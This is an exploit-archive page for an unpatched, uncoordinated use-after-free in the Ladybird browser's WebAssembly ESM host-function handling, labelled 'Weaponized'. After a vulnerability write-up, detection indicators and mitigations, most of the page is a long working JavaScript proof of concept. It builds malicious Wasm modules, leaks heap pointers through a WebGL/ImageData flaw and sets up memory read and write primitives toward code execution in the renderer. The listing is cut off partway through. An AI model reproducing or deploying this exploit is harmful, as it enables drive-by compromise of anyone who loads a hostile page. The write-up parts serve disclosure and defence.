PoC Archive PoC Archive
Critical None assigned as of 2026-07-03 unpatched

Ladybird Browser WebAssembly ESM Host-Function Use-After-Free RCE

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Critical
CVE
None assigned as of 2026-07-03
Category
web
Affected product
Ladybird web browser (WebContent process, LibWeb / LibWasm)
Affected versions
Upstream commit 31bb4d872d802c78ce23d2f273a300f36e8ef6a0 and likely surrounding history
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categoryweb
SeverityCritical
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusWeaponized
Tagsladybird, browser, webassembly, wasm-gc, use-after-free, memory-corruption, rce, javascript-engine, sandbox-escape
RelatedN/A

Affected Target

FieldValue
Software / SystemLadybird web browser (WebContent process, LibWeb / LibWasm)
Versions AffectedUpstream commit 31bb4d872d802c78ce23d2f273a300f36e8ef6a0 and likely surrounding history
Language / PlatformHTML/JavaScript PoC page; targets a native C++ browser engine on Linux
Authentication RequiredNo
Network Access RequiredNo (victim loads a local/remote HTML page in the browser)

Summary

The PoC targets a lifetime bug in Ladybird’s WebAssembly ESM import path: WebAssemblyModule.cpp builds a Wasm::FunctionType as a stack-local value and passes it by reference into create_host_function(), so the resulting long-lived JS host callback retains a dangling reference to that type after the caller returns. Because the WebAssembly bytecode interpreter does not validate a host function’s returned result arity against the statically declared call-site type, a host callback made to return zero values while the call site expects one leaves a stale, attacker-influenced value sitting in a destination register. That stale register is later consumed by a WebAssembly GC array.set operation as a raw pointer-shaped abstract reference, giving the attacker a write primitive through a fake ArrayInstance. The PoC pairs this with a separate ImageData/WebGL memory64 leak (a moved backing store still referenced by a stale bitmap pointer) to defeat ASLR, then pivots through a DataView retarget and a crafted setcontext frame to reach arbitrary native code execution inside the WebContent renderer process. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

create_host_function() in Libraries/LibWeb/WebAssembly/WebAssembly.cpp captures Wasm::FunctionType const& type by reference for use inside a long-lived JS host callback, but the WASM ESM import path in WebAssemblyModule.cpp only supplies a stack-local FunctionType, producing a dangling reference. The bytecode interpreter (BytecodeInterpreter.cpp) then trusts a host callback’s dynamically returned result vector without checking it against the statically declared result arity, leaving a stale register value that WASM GC array.set later dereferences after only a null check.

Attack Vector

  1. Import a JavaScript function into a WebAssembly ESM module declaring a static result type of arrayref.
  2. Trigger the dangling FunctionType reference inside the generated host callback.
  3. Make the host callback dynamically return zero WASM values, leaving the destination register stale with an attacker-shaped abstract GC reference.
  4. Use WASM GC array.set to write through a fake ArrayInstance built from that stale reference.
  5. Leak heap/library base addresses via an ImageData + WebGL texImage2D/readPixels primitive against a moved memory64 backing store.
  6. Retarget a DataView for arbitrary native read/write and construct a fake virtual-dispatch target plus a setcontext frame.
  7. Trigger a WebGL virtual call to redirect execution and run an attacker command in the WebContent process.

Impact

Native code execution inside Ladybird’s WebContent (renderer) process triggered purely by loading an attacker-controlled HTML page, with no user interaction beyond page load.


Environment / Lab Setup

Target:   Ladybird browser built from commit 31bb4d872d802c78ce23d2f273a300f36e8ef6a0 (Linux)
Attacker: Locally hosted poc.html, no special tooling beyond a browser build

Proof of Concept

PoC Script

See poc.html in this folder.

1
Build/gui-sanitizers/bin/ladybird --headless=screenshot --screenshot-delay=20 --screenshot-path=/tmp/ladybird-wasm-esm.png file:///absolute/path/to/poc.html

Loading the page drives the WASM type-confusion write primitive, leaks pointers via the ImageData/WebGL memory64 bug, and finally hijacks a virtual call to execute a native marker command (touch /tmp/ladybird_wasm_esm_rce), proving arbitrary code execution in the renderer process.


Detection & Indicators of Compromise

Signs of compromise:

  • Ladybird WebContent process terminating unexpectedly right after evaluating WebAssembly with ESM host-function imports
  • Unexplained file writes or child processes originating from the browser renderer sandbox
  • Crash reports referencing Wasm::ArrayInstance, array.set, or DataView backing-store handling

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationDisable WebAssembly execution for untrusted origins where feasible, or avoid pre-release/dev Ladybird builds for browsing untrusted content until a fix lands

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: ladybird-wasm-esm-host-function-rce-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.html
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
<!DOCTYPE html>
<meta charset="utf-8">
<title>Ladybird WebAssembly ESM host function RCE PoC</title>
<body>
<pre id="log"></pre>
<script>
    (async () => {
        const output = document.getElementById("log");
        function log(message) {
            const line = String(message);
            console.log(line);
            output.textContent += line + "\n";
        }

        const PAGE_SIZE = 65536;
        const PAGE_COUNT = 3;
        const TOTAL_BYTES = PAGE_SIZE * PAGE_COUNT;
        const WIDTH = 256;
        const HEIGHT = TOTAL_BYTES / (WIDTH * 4);
        const READBACK_ROWS = 16;
        const HOLDER_ELEMENT_COUNT = TOTAL_BYTES / 16;
        const WRITE_VALUE = 0x12345678;
        const FAKE_WRITE_VALUE = 0x41424344;
        const TARGET_BUFFER_SIZE = 0x800;
        const STOP_AFTER_NATIVE_WRITE = false;
        const heapNoise = [];

        async function settleHeap() {
            for (let i = 0; i < 64; ++i)
                heapNoise.push(new Uint8Array(0x4000));
            if (heapNoise.length > 256)
                heapNoise.splice(0, 128);
            await new Promise(resolve => setTimeout(resolve, 0));
        }

        function encodeULEB128(value) {
            const bytes = [];
            do {
                let byte = value & 0x7f;
                value >>>= 7;
                if (value !== 0)
                    byte |= 0x80;
                bytes.push(byte);
            } while (value !== 0);
            return bytes;
        }

        function encodeSLEB128BigInt(value) {
            const bytes = [];
            let more = true;
            while (more) {
                let byte = Number(value & 0x7fn);
                value >>= 7n;
                const signBitSet = (byte & 0x40) !== 0;
                if ((value === 0n && !signBitSet) || (value === -1n && signBitSet))
                    more = false;
                else
                    byte |= 0x80;
                bytes.push(byte);
            }
            return bytes;
        }

        function encodeI32Immediate(value) {
            let signed = BigInt(value) & 0xffffffffn;
            if (signed >= 0x80000000n)
                signed -= 0x100000000n;
            return encodeSLEB128BigInt(signed);
        }

        function encodeU64LE(value) {
            const bytes = [];
            for (let i = 0; i < 8; ++i)
                bytes.push(Number((value >> BigInt(8 * i)) & 0xffn));
            return bytes;
        }

        function decodeU64LE(bytes, offset) {
            let value = 0n;
            for (let i = 0; i < 8; ++i)
                value |= BigInt(bytes[offset + i]) << BigInt(8 * i);
            return value;
        }

        function encodeU128LE(low, high) {
            return [...encodeU64LE(low), ...encodeU64LE(high)];
        }

        function encodeString(string) {
            const encoded = new TextEncoder().encode(string);
            return [...encodeULEB128(encoded.length), ...encoded];
        }

        function section(id, payload) {
            return [id, ...encodeULEB128(payload.length), ...payload];
        }

        function functionTypeRaw(params, results) {
            return [
                0x60,
                ...encodeULEB128(params.length),
                ...params.flat(),
                ...encodeULEB128(results.length),
                ...results.flat(),
            ];
        }

        function functionBody(bytes, locals = []) {
            return [...encodeULEB128(encodeULEB128(locals.length).length + locals.flat().length + bytes.length), ...encodeULEB128(locals.length), ...locals.flat(), ...bytes];
        }

        function hex64(value) {
            return value.toString(16).padStart(16, "0");
        }

        function decodeJSObjectPointer(word) {
            if ((word >> 48n) !== 0xfff9n)
                return null;

            let pointer = word & 0x0000ffffffffffffn;
            if (pointer & 0x0000800000000000n)
                pointer |= 0xffff000000000000n;
            return pointer;
        }

        const i32 = 0x7f;
        const v128 = 0x7b;
        const arrayref = 0x6a;
        const refNull = 0x63;
        const arrayType = 0x5e;
        const gcObjectTag = 6n;

        function wasmGcSprayModule() {
            const victimArrayType = [arrayType, i32, 0x01];
            const holderArrayType = [arrayType, refNull, 0x00, 0x01];
            const typeSection = section(1, [
                0x04,
                ...victimArrayType,
                ...holderArrayType,
                ...functionTypeRaw([], []),
                ...functionTypeRaw([], [i32]),
            ]);
            const functionSection = section(3, [
                0x03,
                0x02,
                0x02,
                0x03,
            ]);
            const globalSection = section(6, [
                0x02,
                refNull, 0x00, 0x01,
                0xd0, 0x00, 0x0b,
                refNull, 0x01, 0x01,
                0xd0, 0x01, 0x0b,
            ]);
            const exportSection = section(7, [
                0x03,
                ...encodeString("init"), 0x00, 0x00,
                ...encodeString("spray"), 0x00, 0x01,
                ...encodeString("read"), 0x00, 0x02,
            ]);
            const initBody = functionBody([
                0x41, ...encodeSLEB128BigInt(0x11111111n),
                0x41, 0x01,
                0xfb, 0x06, 0x00,
                0x24, 0x00,
                0x0b,
            ]);
            const sprayBody = functionBody([
                0x23, 0x00,
                0x41, ...encodeSLEB128BigInt(BigInt(HOLDER_ELEMENT_COUNT)),
                0xfb, 0x06, 0x01,
                0x24, 0x01,
                0x0b,
            ]);
            const readBody = functionBody([
                0x23, 0x00,
                0x41, 0x00,
                0xfb, 0x0b, 0x00,
                0x0b,
            ]);
            const codeSection = section(10, [
                0x03,
                ...initBody,
                ...sprayBody,
                ...readBody,
            ]);

            return new Uint8Array([
                0x00, 0x61, 0x73, 0x6d,
                0x01, 0x00, 0x00, 0x00,
                ...typeSection,
                ...functionSection,
                ...globalSection,
                ...exportSection,
                ...codeSection,
            ]);
        }

        function wasmGcWriterModule(moduleSpecifier, pointer, writeValue = WRITE_VALUE) {
            const victimArrayType = [arrayType, i32, 0x01];
            const typeSection = section(1, [
                0x03,
                ...victimArrayType,
                ...functionTypeRaw([], [arrayref]),
                ...functionTypeRaw([], []),
            ]);
            const importSection = section(2, [
                0x01,
                ...encodeString(moduleSpecifier),
                ...encodeString("host"),
                0x00,
                0x01,
            ]);
            const functionSection = section(3, [0x01, 0x02]);
            const startSection = section(8, [0x01]);
            const body = functionBody([
                ...Array.from({ length: 8 }, () => [0xfd, 0x0c, ...encodeU128LE(pointer, gcObjectTag)]).flat(),
                0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a,
                0x10, 0x00,
                0xfb, 0x17, 0x00,
                0x41, 0x00,
                0x41, ...encodeI32Immediate(writeValue),
                0xfb, 0x0e, 0x00,
                0x0b,
            ], [[0x01, v128]]);
            const codeSection = section(10, [0x01, ...body]);

            return new Uint8Array([
                0x00, 0x61, 0x73, 0x6d,
                0x01, 0x00, 0x00, 0x00,
                ...typeSection,
                ...importSection,
                ...functionSection,
                ...startSection,
                ...codeSection,
            ]);
        }

        function wasmArrayLenRead32Module(moduleSpecifier, address) {
            const fakeBase = address - 24n;
            const typeSection = section(1, [
                0x02,
                ...functionTypeRaw([], [arrayref]),
                ...functionTypeRaw([], []),
            ]);
            const importSection = section(2, [
                0x02,
                ...encodeString(moduleSpecifier),
                ...encodeString("host"),
                0x00,
                0x00,
                ...encodeString(moduleSpecifier),
                ...encodeString("memory"),
                0x02,
                0x00, 0x01,
            ]);
            const functionSection = section(3, [0x01, 0x01]);
            const startSection = section(8, [0x01]);
            const body = functionBody([
                0x41, 0x00,
                ...Array.from({ length: 8 }, () => [0xfd, 0x0c, ...encodeU128LE(fakeBase, gcObjectTag)]).flat(),
                0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a,
                0x10, 0x00,
                0xfb, 0x0f,
                0x36, 0x02, 0x00,
                0x0b,
            ], [[0x01, v128]]);
            const codeSection = section(10, [0x01, ...body]);

            return new Uint8Array([
                0x00, 0x61, 0x73, 0x6d,
                0x01, 0x00, 0x00, 0x00,
                ...typeSection,
                ...importSection,
                ...functionSection,
                ...startSection,
                ...codeSection,
            ]);
        }

        async function read32(importURL, address) {
            const memory = new WebAssembly.Memory({ initial: 1 });
            globalThis.__gcarrayReadMemory = memory;
            const providerURL = URL.createObjectURL(new Blob([`
                export const memory = globalThis.__gcarrayReadMemory;
                export function host() {
                    return null;
                }
            `], { type: "text/javascript" }));
            const moduleURL = URL.createObjectURL(new Blob([
                wasmArrayLenRead32Module(providerURL, address)
            ], { type: "application/wasm" }));
            try {
                await import(moduleURL);
                return BigInt(new DataView(memory.buffer).getUint32(0, true));
            } finally {
                URL.revokeObjectURL(moduleURL);
                URL.revokeObjectURL(providerURL);
            }
        }

        async function read64(importURL, address) {
            const low = await read32(importURL, address);
            const high = await read32(importURL, address + 4n);
            return low | (high << 32n);
        }

        function write64(view, offset, value) {
            view.setUint32(offset, Number(value & 0xffffffffn), true);
            view.setUint32(offset + 4, Number((value >> 32n) & 0xffffffffn), true);
        }

        function mostFrequentPointer(pointers) {
            const counts = new Map();
            for (const pointer of pointers)
                counts.set(pointer, (counts.get(pointer) || 0) + 1);
            let best = 0n;
            let bestCount = 0;
            for (const [pointer, count] of counts) {
                if (count > bestCount) {
                    best = pointer;
                    bestCount = count;
                }
            }
            return best;
        }

        async function leakMapObjectPointers(valueObject) {
            const memory64Bytes = new Uint8Array([
                0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
                0x05, 0x04, 0x01, 0x05, 0x03, 0x04,
                0x07, 0x05, 0x01, 0x01, 0x6d, 0x02, 0x00,
            ]);

            const { instance } = await WebAssembly.instantiate(memory64Bytes, {});
            const memory = instance.exports.m;
            const original = new Uint8ClampedArray(memory.buffer, 0, TOTAL_BYTES);
            for (let i = 0; i < original.length; i += 4) {
                original[i + 0] = 0x44;
                original[i + 1] = 0x55;
                original[i + 2] = 0x66;
                original[i + 3] = 0xff;
            }

            const imageData = new ImageData(original, WIDTH, HEIGHT);
            const canvas = document.createElement("canvas");
            canvas.width = WIDTH;
            canvas.height = HEIGHT;
            const gl = canvas.getContext("webgl2");
            log(`gcarray map webgl2 context: ${!!gl}`);
            if (!gl)
                return [];

            const texture = gl.createTexture();
            gl.bindTexture(gl.TEXTURE_2D, texture);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
            gl.pixelStorei(gl.UNPACK_ALIGNMENT, 1);

            await settleHeap();
            memory.grow(1);

            const marker = valueObject || { marker: 0x5150 };
            const mapRoots = [];
            for (let r = 0; r < 32; ++r) {
                const map = new Map();
                for (let i = 0; i < 2868; ++i)
                    map.set({ r, i }, marker);
                mapRoots.push(map);
            }
            globalThis.__gcarrayMapLeakRoots = { marker, mapRoots };

            gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, imageData);
            const framebuffer = gl.createFramebuffer();
            gl.bindFramebuffer(gl.FRAMEBUFFER, framebuffer);
            gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, texture, 0);

            const out = new Uint8Array(WIDTH * READBACK_ROWS * 4);
            gl.readPixels(0, 0, WIDTH, READBACK_ROWS, gl.RGBA, gl.UNSIGNED_BYTE, out);

            const pointers = [];
            for (let i = 0; i + 7 < out.length; i += 8) {
                const objectPointer = decodeJSObjectPointer(decodeU64LE(out, i));
                if (objectPointer !== null && (objectPointer & 7n) === 0n)
                    pointers.push(objectPointer);
            }
            log(`gcarray map object pointers: ${pointers.slice(0, 8).map(hex64).join(",")}`);
            return pointers;
        }

        async function leakGcArrayPointers(spray) {
            const memory64Bytes = new Uint8Array([
                0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
                0x05, 0x04, 0x01, 0x05, 0x03, 0x04,
                0x07, 0x05, 0x01, 0x01, 0x6d, 0x02, 0x00,
            ]);

            const { instance } = await WebAssembly.instantiate(memory64Bytes, {});
            const memory = instance.exports.m;
            const original = new Uint8ClampedArray(memory.buffer, 0, TOTAL_BYTES);
            for (let i = 0; i < original.length; i += 4) {
                original[i + 0] = 0x11;
                original[i + 1] = 0x22;
                original[i + 2] = 0x33;
                original[i + 3] = 0xff;
            }

            const imageData = new ImageData(original, WIDTH, HEIGHT);
            const canvas = document.createElement("canvas");
            canvas.width = WIDTH;
            canvas.height = HEIGHT;
            const gl = canvas.getContext("webgl2");
            log(`gcarray webgl2 context: ${!!gl}`);
            if (!gl)
                return [];

            const texture = gl.createTexture();
            gl.bindTexture(gl.TEXTURE_2D, texture);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
            gl.pixelStorei(gl.UNPACK_ALIGNMENT, 1);

            await settleHeap();
            memory.grow(1);
            spray();

            gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, imageData);
            const framebuffer = gl.createFramebuffer();
            gl.bindFramebuffer(gl.FRAMEBUFFER, framebuffer);
            gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, texture, 0);

            const out = new Uint8Array(WIDTH * READBACK_ROWS * 4);
            gl.readPixels(0, 0, WIDTH, READBACK_ROWS, gl.RGBA, gl.UNSIGNED_BYTE, out);

            const pointers = [];
            for (let i = 0; i + 15 < out.length; i += 16) {
                const low = decodeU64LE(out, i);
                const high = decodeU64LE(out, i + 8);
                if (high === gcObjectTag && low !== 0n && (low & 7n) === 0n)
                    pointers.push(low);
                if (high === 0n && low > 0x10000n && (low & 7n) === 0n)
                    pointers.push(low);
            }
            const prefix = [];
            for (let i = 0; i + 7 < Math.min(out.length, 128); i += 8)
                prefix.push(hex64(decodeU64LE(out, i)));
            log(`gcarray readback prefix: ${prefix.join(",")}`);
            log(`gcarray leaked gc refs: ${pointers.slice(0, 8).map(hex64).join(",")}`);
            return pointers;
        }

        const fakeBuffer = new ArrayBuffer(128);
        const fakeView = new DataView(fakeBuffer);
        const targetBuffer = new ArrayBuffer(TARGET_BUFFER_SIZE);
        const targetView = new DataView(targetBuffer);
        globalThis.__gcarrayFakeBuffers = { fakeBuffer, targetBuffer };

        const fakeBufferPointers = await leakMapObjectPointers(fakeBuffer);
        const fakeBufferObject = mostFrequentPointer(fakeBufferPointers);
        if (fakeBufferObject === 0n) {
            log("gcarray no fake buffer object pointer");
            return;
        }
        log(`gcarray fake buffer object: ${hex64(fakeBufferObject)}`);

        const targetBufferPointers = await leakMapObjectPointers(targetBuffer);
        const targetBufferObject = mostFrequentPointer(targetBufferPointers);
        if (targetBufferObject === 0n) {
            log("gcarray no target buffer object pointer");
            return;
        }
        log(`gcarray target buffer object: ${hex64(targetBufferObject)}`);

        const heapHighBits = fakeBufferObject & 0xffffffff00000000n;
        log(`gcarray heap high bits: ${hex64(heapHighBits)}`);

        let sprayInstance;
        try {
            sprayInstance = (await WebAssembly.instantiate(wasmGcSprayModule(), {})).instance;
            log("gcarray spray module instantiated");
        } catch (e) {
            log("gcarray spray instantiate failed: " + e.name + ": " + e.message);
            return;
        }

        sprayInstance.exports.init();
        log(`gcarray before write: ${sprayInstance.exports.read()}`);

        const pointers = await leakGcArrayPointers(() => {
            for (let i = 0; i < 24; ++i)
                sprayInstance.exports.spray();
        });

        if (pointers.length === 0) {
            log("gcarray no leaked wasm gc pointer");
Showing 500 of 654 lines View full file on GitHub →